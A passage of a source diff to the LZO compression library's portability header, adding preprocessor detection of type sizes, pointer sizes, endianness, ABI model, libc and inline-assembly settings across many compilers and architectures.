+LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_LONG == sizeof(long))
+#if !defined(LZO_SIZEOF_LONG_LONG) && !defined(LZO_SIZEOF___INT64)
+#if (LZO_SIZEOF_LONG > 0 && LZO_SIZEOF_LONG < 8)
+# if defined(__LONG_MAX__) && defined(__LONG_LONG_MAX__)
+# if (LZO_CC_GNUC >= 0x030300ul)
+# if ((__LONG_MAX__-0) == (__LONG_LONG_MAX__-0))
+# define LZO_SIZEOF_LONG_LONG LZO_SIZEOF_LONG
+# elif (__LZO_LSR(__LONG_LONG_MAX__,30) == 1)
+# define LZO_SIZEOF_LONG_LONG 4
+# endif
+# endif
+# endif
+#endif
+#endif
+#if !defined(LZO_SIZEOF_LONG_LONG) && !defined(LZO_SIZEOF___INT64)
+#if (LZO_SIZEOF_LONG > 0 && LZO_SIZEOF_LONG < 8)
+#if (LZO_ARCH_I086 && LZO_CC_DMC)
+#elif (LZO_CC_CILLY) && defined(__GNUC__)
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define LZO_SIZEOF_LONG_LONG 8
+#elif ((LZO_OS_WIN32 || LZO_OS_WIN64 || defined(_WIN32)) && LZO_CC_MSC && (_MSC_VER >= 1400))
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (LZO_OS_WIN64 || defined(_WIN64))
+# define LZO_SIZEOF___INT64 8
+#elif (LZO_ARCH_I386 && (LZO_CC_DMC))
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (LZO_ARCH_I386 && (LZO_CC_SYMANTECC && (__SC__ >= 0x700)))
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (LZO_ARCH_I386 && (LZO_CC_INTELC && defined(__linux__)))
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (LZO_ARCH_I386 && (LZO_CC_MWERKS || LZO_CC_PELLESC || LZO_CC_PGI || LZO_CC_SUNPROC))
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (LZO_ARCH_I386 && (LZO_CC_INTELC || LZO_CC_MSC))
+# define LZO_SIZEOF___INT64 8
+#elif ((LZO_OS_WIN32 || defined(_WIN32)) && (LZO_CC_MSC))
+# define LZO_SIZEOF___INT64 8
+#elif (LZO_ARCH_I386 && (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0520)))
+# define LZO_SIZEOF___INT64 8
+#elif (LZO_ARCH_I386 && (LZO_CC_WATCOMC && (__WATCOMC__ >= 1100)))
+# define LZO_SIZEOF___INT64 8
+#elif (LZO_CC_GHS && defined(__LLONG_BIT) && ((__LLONG_BIT-0) == 64))
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (LZO_CC_WATCOMC && defined(_INTEGRAL_MAX_BITS) && ((_INTEGRAL_MAX_BITS-0) == 64))
+# define LZO_SIZEOF___INT64 8
+#elif (LZO_OS_OS400 || defined(__OS400__)) && defined(__LLP64_IFC__)
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (defined(__vms) || defined(__VMS)) && ((__INITIAL_POINTER_SIZE-0) == 64)
+# define LZO_SIZEOF_LONG_LONG 8
+#elif (LZO_CC_SDCC) && (LZO_SIZEOF_INT == 2)
+#elif 1 && defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
+# define LZO_SIZEOF_LONG_LONG 8
+#endif
+#endif
+#endif
+#if defined(__cplusplus) && (LZO_CC_GNUC)
+# if (LZO_CC_GNUC < 0x020800ul)
+# undef LZO_SIZEOF_LONG_LONG
+# endif
+#endif
+#if (LZO_CFG_NO_LONG_LONG)
+# undef LZO_SIZEOF_LONG_LONG
+#elif defined(__NO_LONG_LONG)
+# undef LZO_SIZEOF_LONG_LONG
+#elif defined(_NO_LONGLONG)
+# undef LZO_SIZEOF_LONG_LONG
+#endif
+#if !defined(LZO_WORDSIZE)
#if (LZO_ARCH_ALPHA)
-# define LZO_OPT_AVOID_UINT_INDEX 1
-# define LZO_OPT_AVOID_SHORT 1
-# define LZO_OPT_AVOID_USHORT 1
+# define LZO_WORDSIZE 8
#elif (LZO_ARCH_AMD64)
-# define LZO_OPT_AVOID_INT_INDEX 1
-# define LZO_OPT_AVOID_UINT_INDEX 1
-# define LZO_OPT_UNALIGNED16 1
-# define LZO_OPT_UNALIGNED32 1
-# define LZO_OPT_UNALIGNED64 1
-#elif (LZO_ARCH_ARM && LZO_ARCH_ARM_THUMB)
-#elif (LZO_ARCH_ARM)
-# define LZO_OPT_AVOID_SHORT 1
-# define LZO_OPT_AVOID_USHORT 1
-#elif (LZO_ARCH_CRIS)
-# define LZO_OPT_UNALIGNED16 1
-# define LZO_OPT_UNALIGNED32 1
-#elif (LZO_ARCH_I386)
-# define LZO_OPT_UNALIGNED16 1
-# define LZO_OPT_UNALIGNED32 1
+# define LZO_WORDSIZE 8
+#elif (LZO_ARCH_AVR)
+# define LZO_WORDSIZE 1
+#elif (LZO_ARCH_H8300)
+# if defined(__NORMAL_MODE__)
+# define LZO_WORDSIZE 4
+# elif defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__)
+# define LZO_WORDSIZE 4
+# else
+# define LZO_WORDSIZE 2
+# endif
+#elif (LZO_ARCH_I086)
+# define LZO_WORDSIZE 2
#elif (LZO_ARCH_IA64)
-# define LZO_OPT_AVOID_INT_INDEX 1
-# define LZO_OPT_AVOID_UINT_INDEX 1
-# define LZO_OPT_PREFER_POSTINC 1
+# define LZO_WORDSIZE 8
+#elif (LZO_ARCH_M16C)
+# define LZO_WORDSIZE 2
+#elif (LZO_ARCH_SPU)
+# define LZO_WORDSIZE 4
+#elif (LZO_ARCH_Z80)
+# define LZO_WORDSIZE 1
+#elif (LZO_SIZEOF_LONG == 8) && ((defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__))
+# define LZO_WORDSIZE 8
+#elif (LZO_OS_OS400 || defined(__OS400__))
+# define LZO_WORDSIZE 8
+#elif (defined(__vms) || defined(__VMS)) && (__INITIAL_POINTER_SIZE+0 == 64)
+# define LZO_WORDSIZE 8
+#endif
+#endif
+#if !defined(LZO_SIZEOF_VOID_P)
+#if defined(__ILP32__) || defined(__ILP32) || defined(_ILP32)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(int) == 4)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 4)
+# define LZO_SIZEOF_VOID_P 4
+#elif defined(__ILP64__) || defined(__ILP64) || defined(_ILP64)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(int) == 8)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 8)
+# define LZO_SIZEOF_VOID_P 8
+#elif defined(__LLP64__) || defined(__LLP64) || defined(_LLP64) || defined(_WIN64)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 4)
+# define LZO_SIZEOF_VOID_P 8
+#elif defined(__LP64__) || defined(__LP64) || defined(_LP64)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 8)
+# define LZO_SIZEOF_VOID_P 8
+#elif (LZO_ARCH_AVR)
+# define LZO_SIZEOF_VOID_P 2
+#elif (LZO_ARCH_C166 || LZO_ARCH_MCS51 || LZO_ARCH_MCS251 || LZO_ARCH_MSP430)
+# define LZO_SIZEOF_VOID_P 2
+#elif (LZO_ARCH_H8300)
+# if defined(__NORMAL_MODE__)
+# define LZO_SIZEOF_VOID_P 2
+# elif defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__)
+# define LZO_SIZEOF_VOID_P 4
+# else
+# define LZO_SIZEOF_VOID_P 2
+# endif
+# if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x040000ul)) && (LZO_SIZEOF_INT == 4)
+# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_INT
+# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_INT
+# endif
+#elif (LZO_ARCH_I086)
+# if (LZO_MM_TINY || LZO_MM_SMALL || LZO_MM_MEDIUM)
+# define LZO_SIZEOF_VOID_P 2
+# elif (LZO_MM_COMPACT || LZO_MM_LARGE || LZO_MM_HUGE)
+# define LZO_SIZEOF_VOID_P 4
+# else
+# error "invalid LZO_ARCH_I086 memory model"
+# endif
+#elif (LZO_ARCH_M16C)
+# if defined(__m32c_cpu__) || defined(__m32cm_cpu__)
+# define LZO_SIZEOF_VOID_P 4
+# else
+# define LZO_SIZEOF_VOID_P 2
+# endif
+#elif (LZO_ARCH_SPU)
+# define LZO_SIZEOF_VOID_P 4
+#elif (LZO_ARCH_Z80)
+# define LZO_SIZEOF_VOID_P 2
+#elif (LZO_SIZEOF_LONG == 8) && ((defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__))
+# define LZO_SIZEOF_VOID_P 4
+#elif (LZO_OS_OS400 || defined(__OS400__))
+# if defined(__LLP64_IFC__)
+# define LZO_SIZEOF_VOID_P 8
+# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG
+# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG
+# else
+# define LZO_SIZEOF_VOID_P 16
+# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG
+# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG
+# endif
+#elif (defined(__vms) || defined(__VMS)) && (__INITIAL_POINTER_SIZE+0 == 64)
+# define LZO_SIZEOF_VOID_P 8
+# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG
+# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG
+#endif
+#endif
+#if !defined(LZO_SIZEOF_VOID_P)
+# define LZO_SIZEOF_VOID_P LZO_SIZEOF_LONG
+#endif
+LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_VOID_P == sizeof(void *))
+#if !defined(LZO_SIZEOF_SIZE_T)
+#if (LZO_ARCH_I086 || LZO_ARCH_M16C)
+# define LZO_SIZEOF_SIZE_T 2
+#endif
+#endif
+#if !defined(LZO_SIZEOF_SIZE_T)
+# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_VOID_P
+#endif
+#if defined(offsetof)
+LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_SIZE_T == sizeof(size_t))
+#endif
+#if !defined(LZO_SIZEOF_PTRDIFF_T)
+#if (LZO_ARCH_I086)
+# if (LZO_MM_TINY || LZO_MM_SMALL || LZO_MM_MEDIUM || LZO_MM_HUGE)
+# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_VOID_P
+# elif (LZO_MM_COMPACT || LZO_MM_LARGE)
+# if (LZO_CC_BORLANDC || LZO_CC_TURBOC)
+# define LZO_SIZEOF_PTRDIFF_T 4
+# else
+# define LZO_SIZEOF_PTRDIFF_T 2
+# endif
+# else
+# error "invalid LZO_ARCH_I086 memory model"
+# endif
+#endif
+#endif
+#if !defined(LZO_SIZEOF_PTRDIFF_T)
+# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_SIZE_T
+#endif
+#if defined(offsetof)
+LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_PTRDIFF_T == sizeof(ptrdiff_t))
+#endif
+#if !defined(LZO_WORDSIZE)
+# define LZO_WORDSIZE LZO_SIZEOF_VOID_P
+#endif
+#if (LZO_ABI_NEUTRAL_ENDIAN)
+# undef LZO_ABI_BIG_ENDIAN
+# undef LZO_ABI_LITTLE_ENDIAN
+#elif !(LZO_ABI_BIG_ENDIAN) && !(LZO_ABI_LITTLE_ENDIAN)
+#if (LZO_ARCH_ALPHA) && (LZO_ARCH_CRAY_MPP)
+# define LZO_ABI_BIG_ENDIAN 1
+#elif (LZO_ARCH_IA64) && (LZO_OS_POSIX_LINUX || LZO_OS_WIN64)
+# define LZO_ABI_LITTLE_ENDIAN 1
+#elif (LZO_ARCH_ALPHA || LZO_ARCH_AMD64 || LZO_ARCH_BLACKFIN || LZO_ARCH_CRIS || LZO_ARCH_I086 || LZO_ARCH_I386 || LZO_ARCH_MSP430)
+# define LZO_ABI_LITTLE_ENDIAN 1
+#elif (LZO_ARCH_AVR32 || LZO_ARCH_M68K || LZO_ARCH_S390 || LZO_ARCH_SPU)
+# define LZO_ABI_BIG_ENDIAN 1
+#elif 1 && defined(__IAR_SYSTEMS_ICC__) && defined(__LITTLE_ENDIAN__)
+# if (__LITTLE_ENDIAN__ == 1)
+# define LZO_ABI_LITTLE_ENDIAN 1
+# else
+# define LZO_ABI_BIG_ENDIAN 1
+# endif
+#elif 1 && defined(__BIG_ENDIAN__) && !defined(__LITTLE_ENDIAN__)
+# define LZO_ABI_BIG_ENDIAN 1
+#elif 1 && defined(__LITTLE_ENDIAN__) && !defined(__BIG_ENDIAN__)
+# define LZO_ABI_LITTLE_ENDIAN 1
+#elif 1 && (LZO_ARCH_ARM) && defined(__ARMEB__) && !defined(__ARMEL__)
+# define LZO_ABI_BIG_ENDIAN 1
+#elif 1 && (LZO_ARCH_ARM) && defined(__ARMEL__) && !defined(__ARMEB__)
+# define LZO_ABI_LITTLE_ENDIAN 1
+#elif 1 && (LZO_ARCH_ARM && LZO_CC_ARMCC_ARMCC)
+# if defined(__BIG_ENDIAN) && defined(__LITTLE_ENDIAN)
+# error "unexpected configuration - check your compiler defines"
+# elif defined(__BIG_ENDIAN)
+# define LZO_ABI_BIG_ENDIAN 1
+# else
+# define LZO_ABI_LITTLE_ENDIAN 1
+# endif
+# define LZO_ABI_LITTLE_ENDIAN 1
+#elif 1 && (LZO_ARCH_ARM64) && defined(__AARCH64EB__) && !defined(__AARCH64EL__)
+# define LZO_ABI_BIG_ENDIAN 1
+#elif 1 && (LZO_ARCH_ARM64) && defined(__AARCH64EL__) && !defined(__AARCH64EB__)
+# define LZO_ABI_LITTLE_ENDIAN 1
+#elif 1 && (LZO_ARCH_MIPS) && defined(__MIPSEB__) && !defined(__MIPSEL__)
+# define LZO_ABI_BIG_ENDIAN 1
+#elif 1 && (LZO_ARCH_MIPS) && defined(__MIPSEL__) && !defined(__MIPSEB__)
+# define LZO_ABI_LITTLE_ENDIAN 1
+#endif
+#endif
+#if (LZO_ABI_BIG_ENDIAN) && (LZO_ABI_LITTLE_ENDIAN)
+# error "unexpected configuration - check your compiler defines"
+#endif
+#if (LZO_ABI_BIG_ENDIAN)
+# define LZO_INFO_ABI_ENDIAN "be"
+#elif (LZO_ABI_LITTLE_ENDIAN)
+# define LZO_INFO_ABI_ENDIAN "le"
+#elif (LZO_ABI_NEUTRAL_ENDIAN)
+# define LZO_INFO_ABI_ENDIAN "neutral"
+#endif
+#if (LZO_SIZEOF_INT == 1 && LZO_SIZEOF_LONG == 2 && LZO_SIZEOF_VOID_P == 2)
+# define LZO_ABI_I8LP16 1
+# define LZO_INFO_ABI_PM "i8lp16"
+#elif (LZO_SIZEOF_INT == 2 && LZO_SIZEOF_LONG == 2 && LZO_SIZEOF_VOID_P == 2)
+# define LZO_ABI_ILP16 1
+# define LZO_INFO_ABI_PM "ilp16"
+#elif (LZO_SIZEOF_INT == 2 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 4)
+# define LZO_ABI_LP32 1
+# define LZO_INFO_ABI_PM "lp32"
+#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 4)
+# define LZO_ABI_ILP32 1
+# define LZO_INFO_ABI_PM "ilp32"
+#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 8 && LZO_SIZEOF_SIZE_T == 8)
+# define LZO_ABI_LLP64 1
+# define LZO_INFO_ABI_PM "llp64"
+#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 8)
+# define LZO_ABI_LP64 1
+# define LZO_INFO_ABI_PM "lp64"
+#elif (LZO_SIZEOF_INT == 8 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 8)
+# define LZO_ABI_ILP64 1
+# define LZO_INFO_ABI_PM "ilp64"
+#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 4)
+# define LZO_ABI_IP32L64 1
+# define LZO_INFO_ABI_PM "ip32l64"
+#endif
+#if 0
+#elif !defined(__LZO_LIBC_OVERRIDE)
+#if (LZO_LIBC_NAKED)
+# define LZO_INFO_LIBC "naked"
+#elif (LZO_LIBC_FREESTANDING)
+# define LZO_INFO_LIBC "freestanding"
+#elif (LZO_LIBC_MOSTLY_FREESTANDING)
+# define LZO_INFO_LIBC "mfreestanding"
+#elif (LZO_LIBC_ISOC90)
+# define LZO_INFO_LIBC "isoc90"
+#elif (LZO_LIBC_ISOC99)
+# define LZO_INFO_LIBC "isoc99"
+#elif (LZO_CC_ARMCC_ARMCC) && defined(__ARMCLIB_VERSION)
+# define LZO_LIBC_ISOC90 1
+# define LZO_INFO_LIBC "isoc90"
+#elif defined(__dietlibc__)
+# define LZO_LIBC_DIETLIBC 1
+# define LZO_INFO_LIBC "dietlibc"
+#elif defined(_NEWLIB_VERSION)
+# define LZO_LIBC_NEWLIB 1
+# define LZO_INFO_LIBC "newlib"
+#elif defined(__UCLIBC__) && defined(__UCLIBC_MAJOR__) && defined(__UCLIBC_MINOR__)
+# if defined(__UCLIBC_SUBLEVEL__)
+# define LZO_LIBC_UCLIBC (__UCLIBC_MAJOR__ * 0x10000L + (__UCLIBC_MINOR__-0) * 0x100 + (__UCLIBC_SUBLEVEL__-0))
+# else
+# define LZO_LIBC_UCLIBC 0x00090bL
+# endif
+# define LZO_INFO_LIBC "uc" "libc"
+#elif defined(__GLIBC__) && defined(__GLIBC_MINOR__)
+# define LZO_LIBC_GLIBC (__GLIBC__ * 0x10000L + (__GLIBC_MINOR__-0) * 0x100)
+# define LZO_INFO_LIBC "glibc"
+#elif (LZO_CC_MWERKS) && defined(__MSL__)
+# define LZO_LIBC_MSL __MSL__
+# define LZO_INFO_LIBC "msl"
+#elif 1 && defined(__IAR_SYSTEMS_ICC__)
+# define LZO_LIBC_ISOC90 1
+# define LZO_INFO_LIBC "isoc90"
+#else
+# define LZO_LIBC_DEFAULT 1
+# define LZO_INFO_LIBC "default"
+#endif
+#endif
+#if (LZO_ARCH_I386 && (LZO_OS_DOS32 || LZO_OS_WIN32) && (LZO_CC_DMC || LZO_CC_INTELC || LZO_CC_MSC || LZO_CC_PELLESC))
+# define LZO_ASM_SYNTAX_MSC 1
+#elif (LZO_OS_WIN64 && (LZO_CC_DMC || LZO_CC_INTELC || LZO_CC_MSC || LZO_CC_PELLESC))
+#elif (LZO_ARCH_I386 && LZO_CC_GNUC && (LZO_CC_GNUC == 0x011f00ul))
+#elif (LZO_ARCH_I386 && (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC || LZO_CC_PATHSCALE))
+# define LZO_ASM_SYNTAX_GNUC 1
+#elif (LZO_ARCH_AMD64 && (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC || LZO_CC_PATHSCALE))
+# define LZO_ASM_SYNTAX_GNUC 1
+#elif (LZO_CC_GNUC)
+# define LZO_ASM_SYNTAX_GNUC 1
+#endif
+#if (LZO_ASM_SYNTAX_GNUC)
+#if (LZO_ARCH_I386 && LZO_CC_GNUC && (LZO_CC_GNUC < 0x020000ul))
+# define __LZO_ASM_CLOBBER "ax"
+# define __LZO_ASM_CLOBBER_LIST_CC /*empty*/
+# define __LZO_ASM_CLOBBER_LIST_CC_MEMORY /*empty*/
+# define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/
+#elif (LZO_CC_INTELC && (__INTEL_COMPILER < 1000))
+# define __LZO_ASM_CLOBBER "memory"
+# define __LZO_ASM_CLOBBER_LIST_CC /*empty*/
+# define __LZO_ASM_CLOBBER_LIST_CC_MEMORY : "memory"
+# define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/
+#else
+# define __LZO_ASM_CLOBBER "cc", "memory"
+# define __LZO_ASM_CLOBBER_LIST_CC : "cc"
+# define __LZO_ASM_CLOBBER_LIST_CC_MEMORY : "cc", "memory"
+# define __LZO_ASM_CLOBBER_LIST_EMPTY /*empty*/
+#endif
+#endif
+#if (LZO_ARCH_ALPHA)
+# define LZO_OPT_AVOID_UINT_INDEX 1
+#elif (LZO_ARCH_AMD64)
+# define LZO_OPT_AVOID_INT_INDEX 1
+# define LZO_OPT_AVOID_UINT_INDEX 1
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+# ifndef LZO_OPT_UNALIGNED64
+# define LZO_OPT_UNALIGNED64 1
+# endif
+#elif (LZO_ARCH_ARM)
+# if defined(__ARM_FEATURE_UNALIGNED)
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+# elif defined(__TARGET_ARCH_ARM) && ((__TARGET_ARCH_ARM+0) >= 7)
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+# elif defined(__TARGET_ARCH_ARM) && ((__TARGET_ARCH_ARM+0) >= 6) && !defined(__TARGET_PROFILE_M)
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+# endif
+#elif (LZO_ARCH_ARM64)
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+# ifndef LZO_OPT_UNALIGNED64
+# define LZO_OPT_UNALIGNED64 1
+# endif
+#elif (LZO_ARCH_CRIS)
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+#elif (LZO_ARCH_I386)
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+#elif (LZO_ARCH_IA64)
+# define LZO_OPT_AVOID_INT_INDEX 1
+# define LZO_OPT_AVOID_UINT_INDEX 1
+# define LZO_OPT_PREFER_POSTINC 1
#elif (LZO_ARCH_M68K)
-# define LZO_OPT_PREFER_POSTINC 1
-# define LZO_OPT_PREFER_PREDEC 1
+# define LZO_OPT_PREFER_POSTINC 1
+# define LZO_OPT_PREFER_PREDEC 1
# if defined(__mc68020__) && !defined(__mcoldfire__)
-# define LZO_OPT_UNALIGNED16 1
-# define LZO_OPT_UNALIGNED32 1
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
# endif
#elif (LZO_ARCH_MIPS)
-# define LZO_OPT_AVOID_UINT_INDEX 1
+# define LZO_OPT_AVOID_UINT_INDEX 1
#elif (LZO_ARCH_POWERPC)
-# define LZO_OPT_PREFER_PREINC 1
-# define LZO_OPT_PREFER_PREDEC 1
+# define LZO_OPT_PREFER_PREINC 1
+# define LZO_OPT_PREFER_PREDEC 1
# if (LZO_ABI_BIG_ENDIAN)
-# define LZO_OPT_UNALIGNED16 1
-# define LZO_OPT_UNALIGNED32 1
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+# if (LZO_WORDSIZE == 8)
+# ifndef LZO_OPT_UNALIGNED64
+# define LZO_OPT_UNALIGNED64 1
+# endif
+# endif
# endif
#elif (LZO_ARCH_S390)
-# define LZO_OPT_UNALIGNED16 1
-# define LZO_OPT_UNALIGNED32 1
-# if (LZO_SIZEOF_SIZE_T == 8)
-# define LZO_OPT_UNALIGNED64 1
+# ifndef LZO_OPT_UNALIGNED16
+# define LZO_OPT_UNALIGNED16 1
+# endif
+# ifndef LZO_OPT_UNALIGNED32
+# define LZO_OPT_UNALIGNED32 1
+# endif
+# if (LZO_WORDSIZE == 8)
+# ifndef LZO_OPT_UNALIGNED64
+# define LZO_OPT_UNALIGNED64 1
+# endif
# endif
#elif (LZO_ARCH_SH)
-# define LZO_OPT_PREFER_POSTINC 1
-# define LZO_OPT_PREFER_PREDEC 1
+# define LZO_OPT_PREFER_POSTINC 1
+# define LZO_OPT_PREFER_PREDEC 1
#endif
#ifndef LZO_CFG_NO_INLINE_ASM
-#if (LZO_CC_LLVM)
+#if (LZO_ABI_NEUTRAL_ENDIAN) || (LZO_ARCH_GENERIC)
+# define LZO_CFG_NO_INLINE_ASM 1
+#elif (LZO_CC_LLVM)
# define LZO_CFG_NO_INLINE_ASM 1
#endif
#endif
+#if (LZO_CFG_NO_INLINE_ASM)
+# undef LZO_ASM_SYNTAX_MSC
+# undef LZO_ASM_SYNTAX_GNUC
+# undef __LZO_ASM_CLOBBER
+# undef __LZO_ASM_CLOBBER_LIST_CC
+# undef __LZO_ASM_CLOBBER_LIST_CC_MEMORY
+# undef __LZO_ASM_CLOBBER_LIST_EMPTY
+#endif
#ifndef LZO_CFG_NO_UNALIGNED
#if (LZO_ABI_NEUTRAL_ENDIAN) || (LZO_ARCH_GENERIC)
# define LZO_CFG_NO_UNALIGNED 1
@@ -1783,25 +2574,6 @@
# undef LZO_OPT_UNALIGNED32
# undef LZO_OPT_UNALIGNED64
#endif
-#if (LZO_CFG_NO_INLINE_ASM)
-#elif (LZO_ARCH_I386 && (LZO_OS_DOS32 || LZO_OS_WIN32) && (LZO_CC_DMC || LZO_CC_INTELC || LZO_CC_MSC || LZO_CC_PELLESC))
-# define LZO_ASM_SYNTAX_MSC 1
-#elif (LZO_OS_WIN64 && (LZO_CC_DMC || LZO_CC_INTELC || LZO_CC_MSC || LZO_CC_PELLESC))
-#elif (LZO_ARCH_I386 && LZO_CC_GNUC && (LZO_CC_GNUC == 0x011f00ul))
-#elif (LZO_ARCH_I386 && (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC || LZO_CC_PATHSCALE))
-# define LZO_ASM_SYNTAX_GNUC 1
-#elif (LZO_ARCH_AMD64 && (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC || LZO_CC_PATHSCALE))
-# define LZO_ASM_SYNTAX_GNUC 1
-#endif
-#if (LZO_ASM_SYNTAX_GNUC)
-#if (LZO_ARCH_I386 && LZO_CC_GNUC && (LZO_CC_GNUC < 0x020000ul))
-# define __LZO_ASM_CLOBBER "ax"
-#elif (LZO_CC_INTELC)
-# define __LZO_ASM_CLOBBER "memory"
-#else
-# define __LZO_ASM_CLOBBER "cc", "memory"
-#endif
-#endif
#if defined(__LZO_INFOSTR_MM)
#elif (LZO_MM_FLAT) && (defined(__LZO_INFOSTR_PM) || defined(LZO_INFO_ABI_PM))
# define __LZO_INFOSTR_MM ""
@@ -1845,7 +2617,382 @@
#define LZO_INFO_STRING \
LZO_INFO_ARCH __LZO_INFOSTR_MM __LZO_INFOSTR_PM __LZO_INFOSTR_ENDIAN \
" " __LZO_INFOSTR_OSNAME __LZO_INFOSTR_LIBC " " LZO_INFO_CC __LZO_INFOSTR_CCVER
+#if !(LZO_CFG_SKIP_LZO_TYPES)
+#if (!(LZO_SIZEOF_SHORT+0 > 0 && LZO_SIZEOF_INT+0 > 0 && LZO_SIZEOF_LONG+0 > 0))
+# error "missing defines for sizes"
+#endif
+#if (!(LZO_SIZEOF_PTRDIFF_T+0 > 0 && LZO_SIZEOF_SIZE_T+0 > 0 && LZO_SIZEOF_VOID_P+0 > 0))
+# error "missing defines for sizes"
+#endif
+#if !defined(lzo_llong_t)
+#if (LZO_SIZEOF_LONG_LONG+0 > 0)
+__lzo_gnuc_extension__ typedef long long lzo_llong_t__;
+__lzo_gnuc_extension__ typedef unsigned long long lzo_ullong_t__;
+# define lzo_llong_t lzo_llong_t__
+# define lzo_ullong_t lzo_ullong_t__
+#endif
+#endif
+#if !defined(lzo_int16e_t)
+#if (LZO_SIZEOF_LONG == 2)
+# define lzo_int16e_t long
+# define lzo_uint16e_t unsigned long
+#elif (LZO_SIZEOF_INT == 2)
+# define lzo_int16e_t int
+# define lzo_uint16e_t unsigned int
+#elif (LZO_SIZEOF_SHORT == 2)
+# define lzo_int16e_t short int
+# define lzo_uint16e_t unsigned short int
+#elif 1 && !(LZO_CFG_TYPE_NO_MODE_HI) && (LZO_CC_CLANG || (LZO_CC_GNUC >= 0x025f00ul) || LZO_CC_LLVM)
+ typedef int lzo_int16e_hi_t__ __attribute__((__mode__(__HI__)));
+ typedef unsigned int lzo_uint16e_hi_t__ __attribute__((__mode__(__HI__)));
+# define lzo_int16e_t lzo_int16e_hi_t__
+# define lzo_uint16e_t lzo_uint16e_hi_t__
+#elif (LZO_SIZEOF___INT16 == 2)
+# define lzo_int16e_t __int16
+# define lzo_uint16e_t unsigned __int16
+#else
+#endif
+#endif
+#if defined(lzo_int16e_t)
+# define LZO_SIZEOF_LZO_INT16E_T 2
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16e_t) == 2)
